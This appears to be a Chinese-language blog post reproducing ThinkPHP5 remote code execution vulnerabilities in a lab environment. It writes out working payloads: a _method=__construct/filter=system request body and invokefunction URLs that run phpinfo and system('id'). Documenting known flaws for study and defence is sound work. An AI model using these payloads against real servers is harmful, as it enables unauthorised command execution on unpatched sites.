ThinkPHP5
2022-07-28 14:14:58
113
{{single.collect_count}}

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞介绍

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围

ThinkPHP 5.0系列 < 5.0.23

漏洞复现

靶场搭建后,访问地址

F12进入HackBar中

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞

漏洞复现

通过phpinfo函数写出phpinfo()的信息

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 查看id

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}